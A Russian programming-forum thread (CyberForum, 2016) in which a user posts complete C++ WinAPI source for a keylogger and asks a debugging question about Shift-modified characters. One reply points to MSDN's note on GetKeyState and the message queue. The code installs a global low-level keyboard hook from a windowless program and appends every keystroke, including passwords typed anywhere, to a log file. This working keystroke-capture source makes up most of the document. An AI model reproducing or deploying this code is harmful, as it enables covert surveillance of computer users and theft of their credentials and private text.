Форум программистов, компьютерный форум, киберфорум
C/C++: WinAPI
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.86/7: Рейтинг темы: голосов - 7, средняя оценка - 4.86
27 / 27 / 18
Регистрация: 13.09.2014
Сообщений: 137

Keylogger, неопределенное поведение, undefined behaviour

13.12.2016, 16:21. Показов 1430. Ответов 2
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
#define WIN32_LEAN_AND_MEAN //Exclude rarely-used stuff from Windows headers
#include <Windows.h>
#include <fstream>
#include <iostream>
#include <string>
#include "utf8conv.h"
 
std::string g_ErrorFileName = "errors.txt";
std::string g_LogFileName = "logs.txt";
std::string g_KeyName(20, ' ');
 
enum class KEY_STATE : int { TOGGLED = 0x0001, DOWN = 0x8000 };
 
void LOG(const std::string& fileName, const std::string& msgText)
{
    std::ofstream file(fileName, std::fstream::app | std::fstream::binary);
    file.write(reinterpret_cast<const char*>(msgText.c_str()), msgText.length());
    file.flush();
    file.close();
}
 
std::string GetErrorMessage(int lineNumber, const std::string& defaultMessage)
{
    auto _LINE_ = [&lineNumber] { return std::string("[line: " + std::to_string(lineNumber) + "] "); };
    DWORD errCode = GetLastError();
    char *buf{}; //Buffer that gets the error message string
    DWORD fOk = FormatMessageA(
        FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS | FORMAT_MESSAGE_ALLOCATE_BUFFER,
        nullptr, errCode, NULL, reinterpret_cast<LPSTR>(&buf), NULL, nullptr);
 
    std::string msg{};
    if (fOk && buf) {
        msg = _LINE_() + buf;
        //LocalFree(static_cast<HLOCAL>(buf));
        HeapFree(GetProcessHeap(), NULL, buf); //for Windows 10 API 
    }
    else msg = _LINE_() + defaultMessage + " Error code: " + std::to_string(errCode) + ".\n";
    return msg;
}
 
inline bool IsKey(int vkKeyCode, KEY_STATE keyState)
{
    return (GetKeyState(vkKeyCode) &
        static_cast<int>(keyState)) ? true : false;
}
 
void ProcessKeydown(PKBDLLHOOKSTRUCT hKbDllHookStruct, HKL hKbLayout)
{
    if (hKbDllHookStruct->vkCode == VK_ESCAPE)
        g_KeyName = "[ESC]";
    else if (hKbDllHookStruct->vkCode == VK_SPACE)
        g_KeyName = "[SPACE]";
    else if (hKbDllHookStruct->vkCode == VK_BACK)
        g_KeyName = "[BACKSPACE]";
    else if (hKbDllHookStruct->vkCode == VK_TAB)
        g_KeyName = "[TAB]";
    else if (hKbDllHookStruct->vkCode == VK_RETURN)
        g_KeyName = "[ENTER]\n";
    else if (hKbDllHookStruct->vkCode == VK_LSHIFT)
        g_KeyName = "[SHIFT]";
    else if (hKbDllHookStruct->vkCode == VK_RSHIFT)
        g_KeyName = "[SHIFT]";
    else if (hKbDllHookStruct->vkCode == VK_LCONTROL)
        g_KeyName = "[CTRL]";
    else if (hKbDllHookStruct->vkCode == VK_RCONTROL)
        g_KeyName = "[CTRL]";
    else if (hKbDllHookStruct->vkCode == VK_CAPITAL)
        g_KeyName = "[CAPS LOCK]";
    else if (hKbDllHookStruct->vkCode == VK_DELETE)
        g_KeyName = "[DELETE]";
    else if (hKbDllHookStruct->vkCode == VK_INSERT)
        g_KeyName = "[INSERT]";
    else if (hKbDllHookStruct->vkCode == VK_SNAPSHOT)
        g_KeyName = "[PRINT SCREEN]";
    else if (hKbDllHookStruct->vkCode == VK_PAUSE)
        g_KeyName = "[PAUSE/BREAK]";
    else if (hKbDllHookStruct->vkCode == VK_VOLUME_DOWN)//fn + f11
        g_KeyName = "[VOLUME DOWN]";
    else if (hKbDllHookStruct->vkCode == VK_VOLUME_UP)//fn + f12
        g_KeyName = "[VOLUME UP]";
    else if (hKbDllHookStruct->vkCode == VK_VOLUME_MUTE)
        g_KeyName = "[VOLUME MUTE]";
    else if (hKbDllHookStruct->vkCode == VK_LEFT)
        g_KeyName = "[LEFT]";
    else if (hKbDllHookStruct->vkCode == VK_UP)
        g_KeyName = "[UP]";
    else if (hKbDllHookStruct->vkCode == VK_RIGHT)
        g_KeyName = "[RIGHT]";
    else if (hKbDllHookStruct->vkCode == VK_DOWN)
        g_KeyName = "[DOWN]";
    else if (hKbDllHookStruct->vkCode == VK_HOME)
        g_KeyName = "[HOME]";
    else if (hKbDllHookStruct->vkCode == VK_PRIOR)
        g_KeyName = "[PAGE UP]";
    else if (hKbDllHookStruct->vkCode == VK_NEXT)
        g_KeyName = "[PAGE DOWN]";
    else if (hKbDllHookStruct->vkCode == VK_END)
        g_KeyName = "[END]";
    else if (hKbDllHookStruct->vkCode == VK_F1)
        g_KeyName = "[F1]";
    else if (hKbDllHookStruct->vkCode == VK_F2)
        g_KeyName = "[F2]";
    else if (hKbDllHookStruct->vkCode == VK_F3)
        g_KeyName = "[F3]";
    else if (hKbDllHookStruct->vkCode == VK_F4)
        g_KeyName = "[F4]";
    else if (hKbDllHookStruct->vkCode == VK_F5)
        g_KeyName = "[F5]";
    else if (hKbDllHookStruct->vkCode == VK_F6)
        g_KeyName = "[F6]";
    else if (hKbDllHookStruct->vkCode == VK_F7)
        g_KeyName = "[F7]";
    else if (hKbDllHookStruct->vkCode == VK_F8)
        g_KeyName = "[F8]";
    else if (hKbDllHookStruct->vkCode == VK_F9)
        g_KeyName = "[F9]";
    else if (hKbDllHookStruct->vkCode == VK_F10)
        g_KeyName = "[F10]";
    else if (hKbDllHookStruct->vkCode == VK_F11)
        g_KeyName = "[F11]";
    else if (hKbDllHookStruct->vkCode == VK_F12)
        g_KeyName = "[F12]";
    else if (hKbDllHookStruct->vkCode == VK_NUMLOCK)
        g_KeyName = "[NUM LOCK]";
    else if (hKbDllHookStruct->vkCode == VK_DIVIDE)
        g_KeyName = "/";
    else if (hKbDllHookStruct->vkCode == VK_ADD)
        g_KeyName = "+";
    else if (hKbDllHookStruct->vkCode == VK_SUBTRACT)
        g_KeyName = "-";
    else if (hKbDllHookStruct->vkCode == VK_MULTIPLY)
        g_KeyName = "*";
    else if (hKbDllHookStruct->vkCode == VK_DECIMAL)
        g_KeyName = ".";
    else if (hKbDllHookStruct->vkCode == VK_NUMPAD0)
        g_KeyName = "0";
    else if (hKbDllHookStruct->vkCode == VK_NUMPAD1)
        g_KeyName = "1";
    else if (hKbDllHookStruct->vkCode == VK_NUMPAD2)
        g_KeyName = "2";
    else if (hKbDllHookStruct->vkCode == VK_NUMPAD3)
        g_KeyName = "3";
    else if (hKbDllHookStruct->vkCode == VK_NUMPAD4)
        g_KeyName = "4";
    else if (hKbDllHookStruct->vkCode == VK_NUMPAD5)
        g_KeyName = "5";
    else if (hKbDllHookStruct->vkCode == VK_NUMPAD6)
        g_KeyName = "6";
    else if (hKbDllHookStruct->vkCode == VK_NUMPAD7)
        g_KeyName = "7";
    else if (hKbDllHookStruct->vkCode == VK_NUMPAD8)
        g_KeyName = "8";
    else if (hKbDllHookStruct->vkCode == VK_NUMPAD9)
        g_KeyName = "9";
    else if (hKbDllHookStruct->vkCode == VK_LWIN)
        g_KeyName = "[WINDOWS]";
    else if (hKbDllHookStruct->vkCode == VK_APPS)
        g_KeyName = "[APPLICATIONS]";
    else if (((hKbDllHookStruct->vkCode > 0x40) && (hKbDllHookStruct->vkCode < 0x5B)) //ascii
        || (hKbDllHookStruct->vkCode == VK_OEM_COMMA) //',' or '<'
        || (hKbDllHookStruct->vkCode == VK_OEM_PLUS) // '=' or '+'
        || (hKbDllHookStruct->vkCode == VK_OEM_MINUS) // '-' or '_'
        || (hKbDllHookStruct->vkCode == VK_OEM_PERIOD) // '.' or '>'
        || (hKbDllHookStruct->vkCode == VK_OEM_1) // ';' or ':'
        || (hKbDllHookStruct->vkCode == VK_OEM_2) // '?' or '/'
        || (hKbDllHookStruct->vkCode == VK_OEM_3) // '~' or '`'
        || (hKbDllHookStruct->vkCode == VK_OEM_4) // '[' or '{'
        || (hKbDllHookStruct->vkCode == VK_OEM_5) // '\' or '|'
        || (hKbDllHookStruct->vkCode == VK_OEM_6) // ']' or '}'
        || (hKbDllHookStruct->vkCode == VK_OEM_7) // ''' or '"'
        || ((hKbDllHookStruct->vkCode > 0x2F) && (hKbDllHookStruct->vkCode < 0x3A))) { //0,1,2,...,9
 
        //bool isUpperCase{};
        //if (IsKey(VK_CAPITAL, KEY_STATE::TOGGLED)
        //  || IsKey(VK_SHIFT, KEY_STATE::DOWN)
        //  /*                  || IsKey(VK_CONTROL, KEY_STATE::DOWN)*/)
        //  isUpperCase = true;
        //if (IsKey(VK_CONTROL, KEY_STATE::DOWN)) {
        //  int i = 10;
        //  i =100;
        //}
 
        IsKey(VK_CAPITAL, KEY_STATE::TOGGLED);
        IsKey(VK_SHIFT, KEY_STATE::DOWN);
 
        BYTE bytes[256]{};
        wchar_t chbuf[16]{};
        if (GetKeyboardState(bytes) != 0) {
            if (ToUnicodeEx(hKbDllHookStruct->vkCode,
                MapVirtualKeyExW(hKbDllHookStruct->vkCode, MAPVK_VK_TO_VSC, hKbLayout),
                    bytes, chbuf, 15, 0u, hKbLayout) == 1)
                g_KeyName = unicode_win32::Utf16ToUtf8(chbuf);
        } 
        else g_KeyName = "";
    }
    LOG(g_LogFileName, g_KeyName);
}
 
/*
    CallNextHookEx():
    Passes the hook information to the next hook procedure in the current hook chain.
    A hook procedure can call this function either before or after processing the hook information.
*/
LRESULT CALLBACK HookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode < 0)
        return CallNextHookEx(NULL, nCode, wParam, lParam);
    /*
        Example:
        HKL hkl = GetKeyboardLayout(NULL);
        auto kb_language = LOWORD(h); e.g: 0x409 = US; 0x419 = RU
    */
    HKL hKbLayout{};
    GUITHREADINFO gti{ sizeof(GUITHREADINFO) };
    if (GetGUIThreadInfo(NULL, &gti)) //Get keyboard layout of the foreground thread
        hKbLayout = GetKeyboardLayout(GetWindowThreadProcessId(gti.hwndFocus, NULL));
    else
        hKbLayout = GetKeyboardLayout(NULL); //Get keyboard layout of this thread (always const)
    auto hKbDllHookStruct = reinterpret_cast<PKBDLLHOOKSTRUCT>(lParam);
    if (wParam == WM_SYSKEYDOWN) //process single ALT key
    {
        if ((hKbDllHookStruct->vkCode == VK_LMENU) || (hKbDllHookStruct->vkCode == VK_RMENU))
            LOG(g_LogFileName, "[ALT]");
        else
            ProcessKeydown(hKbDllHookStruct, hKbLayout);
    }
    else if (wParam == WM_KEYDOWN)
        ProcessKeydown(hKbDllHookStruct, hKbLayout);
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}
 
void MessageLoop()
{
    MSG msg;
    BOOL ret{};
    while ((ret = GetMessageW(&msg, nullptr, 0, 0)) != 0)
    {
        if (ret == -1) {
            LOG(g_ErrorFileName, GetErrorMessage(__LINE__, "GetMessageW() fails."));
            return;
        }
        else {
            TranslateMessage(&msg);
            DispatchMessageW(&msg);
        }
    }
}
 
 
int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nCmdShow)
{
    UNREFERENCED_PARAMETER(hPrevInstance);
    UNREFERENCED_PARAMETER(lpCmdLine);
    UNREFERENCED_PARAMETER(nCmdShow);
    DeleteFileA(g_ErrorFileName.c_str());
    DeleteFileA(g_LogFileName.c_str());
 
    HHOOK keyboardHook = SetWindowsHookExW(WH_KEYBOARD_LL, HookProc, hInstance, NULL);
    if (!keyboardHook) {
        LOG(g_ErrorFileName, GetErrorMessage(__LINE__, "SetWindowsHookExW() fails."));
        return -1;
    }
    MessageLoop(); //Infinite loop
    UnhookWindowsHookEx(keyboardHook);
    return 0;
}
Почему, если закомментировать строки:
C++
1
2
IsKey(VK_CAPITAL, KEY_STATE::TOGGLED);
IsKey(VK_SHIFT, KEY_STATE::DOWN);
при нажатии комбинацию 'Shift+2', получим в логе '[SHIFT]2', а не '[SHIFT]@'.
Как на это влияеет вызов GetKeyState()? Или суть проблемы в другом?

Если не комментировать, все работает.
0
cpp_developer
Эксперт
20123 / 5690 / 1417
Регистрация: 09.04.2010
Сообщений: 22,546
Блог
13.12.2016, 16:21
Ответы с готовыми решениями:

Неопределенное поведение С++
Вот такой вопрос: что из этого обязательно вызовет неопределенное поведение ? 1) Разыменование нулевого указателя 2) Выход за...

Создание массива, неопределенное поведение
Пишу такой код: #include &lt;iostream&gt; #include &lt;stdlib.h&gt; using namespace std; struct GL{ GL () { } virtual...

Неопределенное поведение в Debug и Release
Писал программу для сложения больших чисел (в файле содержатся числа с количеством цифр от 1 до 30). При запуске через компилятор всё...

2
 Аватар для prokl9tiy
21 / 21 / 9
Регистрация: 09.10.2016
Сообщений: 113
13.12.2016, 20:45
так написано же The key status returned from this function changes as a thread reads key messages from its message queue.
1
27 / 27 / 18
Регистрация: 13.09.2014
Сообщений: 137
14.12.2016, 00:44  [ТС]
prokl9tiy, спасибо за ответ. Читал msdn. Действительно, скорее всего, после вызова GetKeyState() определенные функции работают с сообщениями немного по-другому.
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
raxper
Эксперт
30234 / 6612 / 1498
Регистрация: 28.12.2010
Сообщений: 21,154
Блог
14.12.2016, 00:44
Помогаю со студенческими работами здесь

Неопределенное поведение пользовательской функции
значит писал для лабы вот такой код: town.h #include &lt;Windows.h&gt; #include &lt;conio.h&gt; #include &lt;iostream&gt; #include...

Неопределенное поведение при приведении типа
Суть проблемы в том что, после принудительного приведения типа деструктор наследника не вызывается, вызывается деструктор базового типа.Но...

Один и тот же объект в одном выражении модифицируется несколько раз - неопределенное поведение
Уважаемые форумчане! Недавно столкнулся с интересным на мой взгляд необычным поведением компилятора c++ от keil. Определил класс шаблон...

"Неопределенное поведение" при выходе вводимых данных за пределы массива
В условии задачи написано, что функция не проверяет индексы. И если введенные пользователем входные данные будут выходить за пределы...

Как исправит Notice: Undefined index: sessy in и undefined variable
Доброго времени суток! Возможно это мелочь и с высоты опытного программиста это легкая задача, но мне пока не удаётся её решить. Кто знает...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
3
Ответ Создать тему
Новые блоги и статьи
Загрузка PNG-файла с альфа-каналом с помощью библиотеки SDL3_image на Android
8Observer8 27.01.2026
Содержание блога SDL3_image - это библиотека для загрузки и работы с изображениями. Эта пошаговая инструкция покажет, как загрузить и вывести на экран смартфона картинку с альфа-каналом, то есть с. . .
влияние грибов на сукцессию
anaschu 26.01.2026
Бифуркационные изменения массы гриба происходят тогда, когда мы уменьшаем массу компоста в 10 раз, а скорость прироста биомассы уменьшаем в три раза. Скорость прироста биомассы может уменьшаться за. . .
Воспроизведение звукового файла с помощью SDL3_mixer при касании экрана Android
8Observer8 26.01.2026
Содержание блога SDL3_mixer - это библиотека я для воспроизведения аудио. В отличие от инструкции по добавлению текста код по проигрыванию звука уже содержится в шаблоне примера. Нужно только. . .
Установка Android SDK, NDK, JDK, CMake и т.д.
8Observer8 25.01.2026
Содержание блога Перейдите по ссылке: https:/ / developer. android. com/ studio и в самом низу страницы кликните по архиву "commandlinetools-win-xxxxxx_latest. zip" Извлеките архив и вы увидите. . .
Вывод текста со шрифтом TTF на Android с помощью библиотеки SDL3_ttf
8Observer8 25.01.2026
Содержание блога Если у вас не установлены Android SDK, NDK, JDK, и т. д. то сделайте это по следующей инструкции: Установка Android SDK, NDK, JDK, CMake и т. д. Сборка примера Скачайте. . .
Использование SDL3-callbacks вместо функции main() на Android, Desktop и WebAssembly
8Observer8 24.01.2026
Содержание блога Если вы откроете примеры для начинающих на официальном репозитории SDL3 в папке: examples, то вы увидите, что все примеры используют следующие четыре обязательные функции, а. . .
моя боль
iceja 24.01.2026
Выложила интерполяцию кубическими сплайнами www. iceja. net REST сервисы временно не работают, только через Web. Написала за 56 рабочих часов этот сайт с нуля. При помощи perplexity. ai PRO , при. . .
Модель сукцессии микоризы
anaschu 24.01.2026
Решили писать научную статью с неким РОманом
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru